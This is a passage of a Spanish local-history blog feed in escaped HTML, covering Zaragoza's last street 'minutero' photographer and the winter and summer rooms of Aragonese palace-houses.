&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt;Los fotógrafos minuteros comenzaron
su declive a lo largo de 1970, cuando aparecieron las nuevas técnicas
fotográficas y la fotografía en color. Pero los nostálgicos están volviendo a
recuperar esta actividad en muchas calles de las grandes ciudades.
Verdaderamente, tiene algo de mágico.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt;Ángel Cordero Gracia retrató a infinidad
de transeúntes desde 1925 hasta 1978 con su cámara y su caballito de
cartón-piedra. Fue en Zaragoza el último “minutero”; seguramente muchos
zaragozanos lo recordarán dirigiéndose a la parte de atrás de la Lonja con su
pesada cámara al hombro (podían llegar a pesar 30 kg.). Hoy todavía muchos viandantes siguen la tradición de
fotografiarse con aparatos más modernos sobre el caballito que le recuerda.
Ayer mismo (festividad de San Valero), cuando tomé las fotografías que ilustran
esta entrada, el caballito estaba rodeado de niños esperando turno para
fotografiarse, pero no me atreví a emular a Ángel Cordero.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;/div&gt;
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Escultura en bronce de&amp;nbsp;&lt;a aria-controls=&quot;autor-0&quot; aria-expanded=&quot;false&quot; class=&quot;collapsed&quot; data-toggle=&quot;collapse&quot; href=&quot;https://www.zaragoza.es/sede/servicio/arte-publico/61#autor-0&quot; style=&quot;background-color: transparent; box-sizing: border-box; color: #8b0f0e; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; outline: 0px; text-align: left; text-decoration: underline; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;RALLO LAHOZ, Francisco&lt;/a&gt;&lt;span face=&quot;&amp;quot;helvetica neue&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot; style=&quot;background-color: white; color: #202020; display: inline; float: none; font-size: 14px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; line-height: 1.4285; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
                                (Escultor)&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
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&lt;span face=&quot;&amp;quot;helvetica neue&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot; style=&quot;background-color: white; color: #202020; display: inline; float: none; font-size: 14px; font-variant: normal; letter-spacing: normal; line-height: 1.4285; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-family: &amp;quot;open sans&amp;quot;; font-size: 1rem; font-style: normal; font-variant: normal; font-weight: 300; letter-spacing: normal; line-height: 28px; overflow-wrap: break-word; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt; &#39;&lt;/span&gt;&lt;a href=&quot;http://caballitodelalonja.blogspot.com.es/&quot; rel=&quot;nofollow&quot; style=&quot;border: 0px; box-sizing: border-box; color: #005ea8; cursor: pointer; display: inline; font-family: quot; font-style: normal; font-variant: normal; font-weight: 600; letter-spacing: normal; margin: 0px; outline: invert; padding: 0px; text-align: left; text-decoration: underline; text-indent: 0px; text-transform: none; vertical-align: baseline; white-space: normal; word-spacing: 0px;&quot; target=&quot;_blank&quot;&gt;caballitodelalonja.blogspot.com.es&lt;/a&gt;&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-family: &amp;quot;open sans&amp;quot;; font-size: 1rem; font-style: normal; font-variant: normal; font-weight: 300; letter-spacing: normal; line-height: 28px; overflow-wrap: break-word; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&#39;&lt;/span&gt;&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
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&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; María José Germán&lt;/i&gt;&lt;/div&gt;
&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;i&gt;&lt;/i&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/8525574174030622251/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/01/sabias-que_30.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/8525574174030622251'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/8525574174030622251'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/01/sabias-que_30.html' title='El fotógrafo minutero'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNgFTnObFwHtkx6vKuos3B5Ogghtu-yKT0zIlcOnhEW2TYzcfnZYYkep6HFObbrxFXSYqF3A_yz8Yk_XGEc1lPs2C9HPGDQQ1mGCRuwEfRgrCRp61W6RXrfwMFxkNxIXL8FCeN1VelrZM_/s72-c/fotografo+minutero.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-6495816039719645117</id><published>2020-01-19T19:04:00.007+01:00</published><updated>2020-11-14T18:24:10.994+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CONSTRUCCIONES CIVILES"/><category scheme="http://www.blogger.com/atom/ns#" term="EDAD MODERNA"/><title type='text'>Palacios aragoneses</title><content type='html'>&lt;h2&gt;
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&lt;/xml&gt;&lt;![endif]--&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;i&gt;&lt;b&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;

&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;¿Sabías que...las casas-palacio aragoneses tenían habitaciones de invierno y verano?&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot;&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp5JHuz0K-At8ThbPR98gK5uf8Buz9fKqPDuS_E-tY6hHPa2snY0XE15A85RoeiZXIFzMen7AkByENOkfpyMnPbGIf7I3UoPfvVGhVXdAbwKtd3BajJRo90bXUc2s_UAEjPaje89VPaQgj/s1600/Zaragoza_-_Museo_Pablo_Gargallo.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;200&quot; data-original-width=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp5JHuz0K-At8ThbPR98gK5uf8Buz9fKqPDuS_E-tY6hHPa2snY0XE15A85RoeiZXIFzMen7AkByENOkfpyMnPbGIf7I3UoPfvVGhVXdAbwKtd3BajJRo90bXUc2s_UAEjPaje89VPaQgj/s1600/Zaragoza_-_Museo_Pablo_Gargallo.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span face=&quot;sans-serif&quot;&gt;&lt;span style=&quot;font-size: x-normal;&quot;&gt;&lt;span style=&quot;color: #004000;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;P&lt;span style=&quot;display: inline; float: none; font-style: normal; font-variant: normal; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;alacio de los condes de Argillo (1661)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot;&gt;&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;En las casas-palacio había habitaciones de
invierno y de verano.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;background-color: white; color: black; display: inline; float: none; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: 115%; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;En el siglo XVI los inviernos eran todavía más largos y fríos debido a la &quot;pequeña edad del hielo&quot;, que asoló el hemisferio norte durante varios siglos&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;Como estamos viendo estos días, Zaragoza en invierno es una ciudad fría y
húmeda.&amp;nbsp;&lt;/span&gt;&lt;i&gt;&lt;b&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;i&gt;&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;
&lt;i&gt;&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;
&lt;i&gt;&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;
&lt;i&gt;&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;
&lt;i&gt;&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqxClsJ-5f_b5rRX8CnXdLh7wkKWJhPfHvUk0iXX17EQbqcdUOWlIB33VvVUz4hV4vMuXLSgbm61_yywJxhVPn0yd-UZfNQkibRzevK1ZOhdQEt33yB4Ld5Dr9O6TKEM5jGgHRurkK4qGD/s1600/2MONT.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;768&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqxClsJ-5f_b5rRX8CnXdLh7wkKWJhPfHvUk0iXX17EQbqcdUOWlIB33VvVUz4hV4vMuXLSgbm61_yywJxhVPn0yd-UZfNQkibRzevK1ZOhdQEt33yB4Ld5Dr9O6TKEM5jGgHRurkK4qGD/s320/2MONT.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;div align=&quot;center&quot; style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: x-normal; mso-ansi-language: ES;&quot;&gt;CASA-PALACIO DE
LOS&amp;nbsp;&lt;/span&gt;&lt;/b&gt;
&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;&lt;span style=&quot;font-size: x-normal;&quot;&gt;MARQUESES DE MONTEMUZO&lt;/span&gt; &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot; style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;background: white; color: #222222; line-height: 115%;&quot;&gt;C/. Santiago, 36, Zaragoza&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: x-normal;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-size: x-normal;&quot;&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: x-normal;&quot;&gt;&lt;/span&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;Situada en el centro del valle, a orillas del río Ebro, Huerva y
Gállego, las nieblas envuelven las casas, dejándonos temperaturas muy bajas
mientras que en el resto del país pueden disfrutar de un tiempo casi primaveral. Sin
embargo, en verano, el sol cae “a plomo” resecando el ambiente y haciendo subir
el termómetro hasta los 40ºC.&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;En el siglo XVI los inviernos eran todavía más largos y fríos debido a la &quot;pequeña edad del hielo&quot;, que asoló el hemisferio norte durante varios siglos (el Ebro se heló varias veces entre el siglo XVI y el XVIII). Así pues, los zaragozanos ricos, que construyeron sus casa-palacio unifamiliares por toda la ciudad, sabían muy bien qué características debían tener sus viviendas para sobrellevar las inclemencias del tiempo.&lt;/span&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;Las casas solían tener tres pisos para los distintos usos del propietar&lt;/span&gt;io:
&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;background-color: white; color: black; display: inline; float: none; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; line-height: 115%; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;una planta baja o &lt;/span&gt;&lt;span style=&quot;font-size: Las casas tenían unas zonas destinadas a establos, corrales e incluso podían tener huertos. Estos últimos, además de proporcionar alimentos, servían también para el esparcimiento de la familia.;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;i style=&quot;color: black; font-style: italic; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;entresuelo
&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: black; font-family: &amp;quot;quot&amp;quot;; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;una planta principal alrededor de un patio interior a la
que se accedía por una ancha escalera &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;y&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;span style=&quot;color: black; font-family: &amp;quot;quot&amp;quot;; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;/span&gt;
&lt;li&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;una planta superior o desván&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpIu4ckmo4ZLiAzY1PtpB2NN6rMgzbIfYu8SH6OHiWpRCcRZPKZ1zd4GrzYziLh0xaajwnY6chNhBxdkS8UoP8WyM-wn9WgRscvw85WTvkYr1ecQp15vqL8gaTJW1bCSJn-nBkpAuL_PH4/s1600/Zaragoza_-_Museo_Pablo_Gargallo.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;768&quot; data-original-width=&quot;1024&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpIu4ckmo4ZLiAzY1PtpB2NN6rMgzbIfYu8SH6OHiWpRCcRZPKZ1zd4GrzYziLh0xaajwnY6chNhBxdkS8UoP8WyM-wn9WgRscvw85WTvkYr1ecQp15vqL8gaTJW1bCSJn-nBkpAuL_PH4/s400/Zaragoza_-_Museo_Pablo_Gargallo.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span face=&quot;sans-serif&quot;&gt;&lt;span style=&quot;font-size: x-normal;&quot;&gt;&lt;span style=&quot;color: #004000;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;P&lt;span style=&quot;-webkit-text-stroke-width: 0px; display: inline; float: none; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;alacio de los condes de Argillo (1661).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;sans-serif&quot;&gt;&lt;span style=&quot;font-size: x-normal;&quot;&gt;&lt;span style=&quot;color: #004000;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span style=&quot;-webkit-text-stroke-width: 0px; display: inline; float: none; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&amp;nbsp;Hoy&amp;nbsp;&lt;span face=&quot;sans-serif&quot; style=&quot;background-color: white; color: #222222; display: inline; float: none; font-size: 13.93px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt; &lt;/span&gt;museo Pablo Gargallo.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
